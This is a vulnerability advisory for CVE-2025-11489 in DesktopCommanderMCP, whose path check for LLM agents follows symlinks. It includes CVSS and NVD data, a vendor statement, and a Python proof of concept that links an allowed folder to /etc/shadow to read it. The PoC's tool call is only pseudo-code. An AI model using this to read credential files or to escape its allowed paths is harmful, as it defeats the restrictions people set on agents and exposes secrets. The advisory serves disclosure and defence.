Security Vulnerability Report
中文
CVE-2025-11489 CVSS 4.5 MEDIUM

CVE-2025-11489

Published: 2025-10-08 18:15:34
Last Modified: 2026-04-29 01:00:02

Description

A security vulnerability has been detected in wonderwhy-er DesktopCommanderMCP up to 0.2.13. This vulnerability affects the function isPathAllowed of the file src/tools/filesystem.ts. The manipulation leads to symlink following. The attack can only be performed from a local environment. The attack's complexity is rated as high. It is stated that the exploitability is difficult. The exploit has been disclosed publicly and may be used. The vendor explains: "Our restriction features are designed as guardrails for LLMs to help them stay closer to what users want, rather than hardened security boundaries. (...) For users where security is a top priority, we continue to recommend using Desktop Commander with Docker, which provides actual isolation. (...) We'll keep this issue open for future consideration if we receive more user demand for improved restrictions." This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:wonderwhy-er:desktopcommandermcp:*:*:*:*:*:*:*:* - VULNERABLE
wonderwhy-er DesktopCommanderMCP <= 0.2.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11489 - DesktopCommanderMCP Symlink Following PoC # This PoC demonstrates how to bypass path restrictions via symlink import os import subprocess # Step 1: Create a symlink in an allowed directory pointing to a restricted target allowed_dir = "/tmp/allowed" # Directory permitted by isPathAllowed restricted_target = "/etc/shadow" # Restricted file we want to access symlink_path = os.path.join(allowed_dir, "innocent_link") # Create the allowed directory if it doesn't exist os.makedirs(allowed_dir, exist_ok=True) # Create a symbolic link if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(restricted_target, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {restricted_target}") # Step 2: Use DesktopCommanderMCP's file operation via the symlink # When DesktopCommanderMCP processes a read_file request through the symlink, # isPathAllowed checks the symlink path (in allowed dir) and approves it. # The actual file read follows the symlink to the restricted target. # Simulate the MCP tool call (pseudo-code): # mcp_client.call_tool("read_file", {"path": symlink_path}) # isPathAllowed(symlink_path) -> True (path is in allowed_dir) # Actual read follows symlink -> reads /etc/shadow content print(f"[+] Requesting file read through symlink: {symlink_path}") print("[+] isPathAllowed will approve the symlink path") print("[+] Actual file access follows symlink to restricted target") # Step 3: Demonstrate the bypass try: with open(symlink_path, 'r') as f: content = f.read() print(f"[+] Successfully read restricted file content (first 100 chars): {content[:100]}") except PermissionError: print("[-] Direct read blocked, but MCP tool call would succeed via symlink bypass") # Step 4: Cleanup os.remove(symlink_path) print("[+] Cleanup complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11489", "sourceIdentifier": "[email protected]", "published": "2025-10-08T18:15:34.263", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in wonderwhy-er DesktopCommanderMCP up to 0.2.13. This vulnerability affects the function isPathAllowed of the file src/tools/filesystem.ts. The manipulation leads to symlink following. The attack can only be performed from a local environment. The attack's complexity is rated as high. It is stated that the exploitability is difficult. The exploit has been disclosed publicly and may be used. The vendor explains: \"Our restriction features are designed as guardrails for LLMs to help them stay closer to what users want, rather than hardened security boundaries. (...) For users where security is a top priority, we continue to recommend using Desktop Commander with Docker, which provides actual isolation. (...) We'll keep this issue open for future consideration if we receive more user demand for improved restrictions.\" This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:P/I:P/A:P", "baseScore": 3.5, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 1.5, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wonderwhy-er:desktopcommandermcp:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.2.13", "matchCriteriaId": "FBD1A083-2A30-46F7-9187-079AFEC42DB2"}]}]}], "references": [{"url": "https://github.com/wonderwhy-er/DesktopCommanderMCP/issues/219", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/wonderwhy-er/DesktopCommanderMCP/issues/219#issue-334386 ... (truncated)